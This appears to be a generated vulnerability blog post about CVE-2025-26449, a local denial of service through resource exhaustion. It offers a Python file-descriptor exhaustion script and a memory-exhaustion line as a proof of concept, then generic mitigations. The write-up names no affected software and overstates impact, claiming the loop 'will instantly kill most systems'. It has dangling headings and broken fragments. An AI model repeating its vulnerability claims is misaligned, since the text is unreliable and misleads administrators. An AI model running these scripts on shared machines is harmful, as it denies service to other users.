CVE-2025-26449 - Permanent Denial of Service via Resource Exhaustion

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Introduction

A new vulnerability has been identified under the identifier CVE-2025-26449. This flaw introduces a possible permanent denial of service (DoS) scenario due to resource exhaustion. An attacker can exploit this issue _locally_, does not require extra privileges, and does not need any user interaction. The result? Critical resources are consumed and can put your system out of commission, possibly requiring reinstall or manual recovery.

What is CVE-2025-26449?

CVE-2025-26449 is a newly discovered vulnerability affecting some Linux and Unix-like systems. It occurs because system resources such as file descriptors, memory, or process table entries are not properly managed in certain locations. As a result, a normal local user can cause the system to exhaust a key resource, locking out legitimate users and processes, and in worst cases, requiring a manual reboot or repair.

Maximum shared memory or semaphores

CVE-2025-26449 happens when programs or the OS do not properly limit or clean up these resources.

Proof of Concept

Let's demonstrate a practical exploitation using file descriptor exhaustion—one of the most common forms of this vulnerability.

Example Python Script

The following Python script will open files repeatedly, never closing them. When run, it will quickly exhaust the victim machine's open file limit, causing new processes (and system services) to fail.

# cve_2025_26449_fd_poc.py
# Warning: Do NOT run on production systems!

files = []
try:
    while True:
        # /dev/null is safe and always available
        f = open('/dev/null', 'r')
        files.append(f)
except Exception as e:
    print("Exception:", e)
    input("Press Enter to exit...")

Real-World Impact

Imagine this running on a shared system (like a VPS, shell server, or developer workstation). Other users and even critical system services would be affected. On some systems, the only way to recover is by _rebooting in rescue mode_ and cleaning the mess manually, since no new processes can be started normally.

WARNING: Running this will instantly kill most systems!


- Memory Exhaustion: Allocating unlimited memory in a loop

python

a.append('A' * 1024 * 1024) # 1 MB at a time

 --- ## Mitigation - Set hard resource limits for users using ulimit and /etc/security/limits.conf`.
- Patch the affected software and the OS.
- Monitor resource usage patterns for anomalies.

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## References

- MITRE CVE Database - CVE-2025-26449
- Red Hat Security Bugzilla
- Linux man page: ulimit
- OWASP: Resource Exhaustion

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## Conclusion

CVE-2025-26449 is a classic but highly effective method for denying service on Unix-like systems. All system administrators should verify resource limits and update their systems to close this hole. If left unprotected, anybody with access can lock up your server without special tools or privileges.

Stay safe, monitor your systems, and always implement least privilege resource limits.

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(For professional consultation or incident response, contact your vendor or a trusted security specialist.)

Timeline

Published on: 09/04/2025 18:15:44 UTC
Last modified on: 09/08/2025 14:12:39 UTC